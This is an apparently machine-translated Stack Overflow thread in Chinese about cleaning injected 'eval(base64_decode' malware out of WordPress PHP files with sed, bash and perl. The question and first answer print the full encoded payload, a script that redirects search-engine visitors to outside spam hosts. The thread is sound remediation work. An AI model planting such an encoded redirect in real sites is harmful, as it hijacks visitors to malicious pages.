0

尝试在大量 php 注入后进行清理——大约 6 个网站的 WordPress 模板中的每个 php 函数都充满了垃圾。

我已经把服务器上的所有东西都放到了本地机器上,我希望应该有一种好方法可以用终端删除所有巨大的代码字符串。

我对此几乎一无所知。

http://devilsworkshop.org/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/ 有很好的说明在服务器上进行清除,但替换我的路径/到/文件夹没有似乎在终端工作。

感觉我很接近了,但是,尽管我对终点站的方式视而不见,这似乎并不那么令人欣慰。

基于以上所述,这就是我所得到的——任何帮助都会非常感激。

grep -lr --include=*.php "eval(base64_decode" "/Users/Moxie/Desktop/portfolio-content" |     xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' 

更新

derobert——感谢一百万的帮助——

基本上,<?php实际函数之前的空格将其插入其中: eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LnN0bHAuNHB1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));

字符会随着每个字符而变化,因此简单的查找和替换将不起作用(我很确定这是重点)。

4

2 回答 2

1

这是我的代码,证明是有效的解决方案。

我将所有文件下载到本地计算机并开始研究解决方案。这是我的解决方案{结合我所看到的}

    #!/bin/bash
    FILES=$(find ./ -name "*.php" -type f)
    for f in $FILES
    do
    echo "Processing $f file LONG STRING"
    sed -i 's#eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly93a3BiLjI1dS5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ=="));##g' $f
    echo "Processing $f file SMALL STRING"
    sed -i 's#eval(base64_decode.*));##g' $f
    done

将其保存为 mybash.sh {来自您最喜欢的文本编辑器}

    $ sudo chmod +x mybash.sh //execute permission for script
    $ ./mybash.sh

我使用了第一个 LONG STRING 因为模式总是相同的。这是上面代码的解释

  • s# - 起始分隔符 {#-delimiter 与 sed 规则中的 / 相同}
  • 评估(base64_decode。));{ 第一个匹配的模式,Reg Exp [. - 匹配任何单个字符], [ - 匹配前面的元素零次或多次]}
  • # - 分隔符 {#} 的第二次出现,在 # 之后是空的,这基本上意味着替换第一个字符串 {eval(base64_decode.*));} WITH {''}
  • #g - 命令结束,SED 语法
于 2012-12-14T22:13:56.070 回答
0

因此,有人有权写入您服务器上的任意文件。我假设你已经清理了让他们进入的漏洞。

问题是,虽然这些eval(base64_decode东西很明显,而且必须离开,但入侵者可能已经把其他东西放在那里了。谁知道,也许他删除了mysql_real_escape_string某个地方,让您容易受到未来 SQL 注入的攻击?或者htmlspecialchars,让您容易受到 JavaScript 注入的攻击?本来可以做任何事的。甚至可能不是 PHP;你确定没有添加 JavaScript 吗?还是嵌入?

最好的确定方法是与已知良好的副本进行比较。你确实有版本控制和备份,对吧?

否则,您确实可以使用perl -pi -e该 PHP 代码进行替换,尽管匹配它可能很困难,具体取决于。这可能有效(在副本上工作!),并根据需要调整正则表达式中的间距:

perl -pi -e 's!<\?php eval\(base64_decode\(.*?\)\) \?>!!g' *.php

但实际上,您应该手动检查每个文件,以确认不存在其他漏洞。即使您最后一个已知良好的副本有些旧,您也可以查看差异。

编辑:

好的,所以听起来你不想核对整个 PHP 块,只是 eval 行:

perl -pi -e 's!eval\(base64_decode\(.*?\)\);!!g' *.php

如果还有要杀死的换行符等,您可能需要\n在第一个之前添加一个!。如果 base64 实际上有换行符,那么您需要sg.

于 2012-08-27T16:51:24.290 回答